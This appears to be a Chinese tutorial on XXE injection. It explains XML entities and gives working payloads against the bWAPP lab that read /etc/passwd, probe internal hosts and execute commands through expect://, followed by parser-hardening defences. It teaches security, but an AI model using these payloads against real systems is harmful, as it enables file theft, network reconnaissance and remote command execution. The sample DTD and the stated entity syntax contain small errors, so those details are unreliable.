XXE(XML External Entity Injection)也叫做XML外部实体注入,漏洞成因是XML的特性导致了引用了不安全的外部实体,导致可以执行恶意代码或引入恶意文件。

漏洞成因

我们先来了解一下什么是XML文件,XML又有什么样的特性:

XML——可扩展标记语言,标准通用标记语言的子集,简称XML。是一种用于标记电子文件使其具有结构性的标记语言。

在电子计算机中,标记指计算机所能理解的信息符号,通过此种标记,计算机之间可以处理包含各种的信息比如文章等。它可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。 它非常适合万维网传输,提供统一的方法来描述和交换独立于应用程序或供应商的结构化数据。是Internet环境中跨平台的、依赖于内容的技术,也是当今处理分布式结构信息的有效工具。早在1998年,W3C就发布了XML1.0规范,使用它来简化Internet的文档信息传输。

先看一下XML文档的结构:

<!--XML声明-->
<?xml version="1.0"?> 
<!--DTD文档类型定义-->
<!DOCTYPE note [  <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)>  <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>     <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)>   <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)>   <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)>   <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

DTD(文档类型定义)的作用是定义XML文档的合法构建模块。DTD可以在XML文档内声明,也可以外部引用。

DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。

XML中有内部实体和外部实体之分,XML其实类似于HTML,如果出现<>等可能会使文件解析错误的字符时,可以使用实体化,XML的实体格式是:$ + 实体名称 + ;

内部实体:

内部实体可以这样定义和使用:

<!--定义-->
<!ENTITY 实体名称 "实体的值">
<!--引用-->
<author>&实体名称;</author>

外部实体:

外部实体是这样的:

<!--定义-->
<!ENTITY 实体名称 SYSTEM "URI/URL">
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
<!--引用-->
<author>&实体名称;</author>

关键就在这里,XML允许引用外部的文件,如果我们利用这个功能读取敏感文件或执行命令呢?

漏洞利用

文件读取

我们以BWAPP中的XXE模块来实践一下:

首先打开XXE模块:

Alt text

然后点击Any bugs?,用burpsuite抓包:

Alt text

可以看到该请求传输了XML数据,那么我们就可以尝试加入引用恶意/敏感外部实体的XML数据

<?xml version="1.0"?>
<!DOCTYPE a[
    <!ENTITY test SYSTEM "file:///etc/passwd">
]>
<reset><login>&test;</login><secret>Any bugs?</secret></reset>

成功读取/etc/passwd

Alt text

内网探测

当我们使用这种xml数据时,就会对目标192.168.177.135发送请求,可以用于探测主机和端口扫描

<?xml version="1.0"?>
<!DOCTYPE a[
    <!ENTITY test SYSTEM "http://192.168.177.135:80">
]>
<reset><login>&test;</login><secret>Any bugs?</secret></reset>

命令执行

如果php安装了expect模块的话,就可以利用XXE进行命令执行:

<?xml version="1.0"?>
<!DOCTYPE a[
    <!ENTITY test SYSTEM "expect://pwd">
]>
<reset><login>&test;</login><secret>Any bugs?</secret></reset>

防御方法

我们可以在脚本语言处禁用解析外部实体:

PHP:
libxml_disable_entity_loader(true);
 
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
 
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

还可以升级xmllib到2.9.0,这个版本以后外部实体默认是不解析的

再或者就是过滤用户的输入,不能包含<!DOCTYPE<!ENTITY这些敏感字段